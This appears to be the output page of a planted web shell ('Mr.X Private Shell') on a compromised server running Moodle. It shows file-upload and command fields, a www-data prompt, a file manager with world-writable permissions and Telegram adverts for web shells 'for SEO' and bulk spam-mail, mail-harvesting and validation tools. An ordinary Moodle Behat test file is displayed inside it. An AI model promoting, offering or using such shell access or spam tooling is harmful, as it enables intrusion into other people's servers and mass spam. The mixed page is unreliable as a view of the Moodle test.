__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@qbank @qbank_previewquestion
Feature: A teacher can export a question as XML from the preview question screen
  To help reuse questions
  As a teacher
  I can easily export the question I am previewing

  Background:
    Given the following "users" exist:
      | username |
      | teacher  |
    And the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1        |
    And the following "course enrolments" exist:
      | user    | course | role           |
      | teacher | C1     | editingteacher |
    And the following "question categories" exist:
      | name           | contextlevel | reference |
      | Test questions | Course       | C1        |
    And the following "questions" exist:
      | questioncategory | qtype     | name                          |
      | Test questions   | numerical | Test question to be previewed |

  Scenario: Question preview shows the question and other information
    When I am on the "Test question to be previewed" "core_question > preview" page logged in as teacher
    Then the state of "What is pi to two d.p.?" question is shown as "Not yet answered"
    And "Download this question in Moodle XML format" "link" should exist

Filemanager

Name Type Size Permission Actions
export_to_xml_action.feature File 1.61 KB 0777
preview_question.feature File 1.18 KB 0777
Filemanager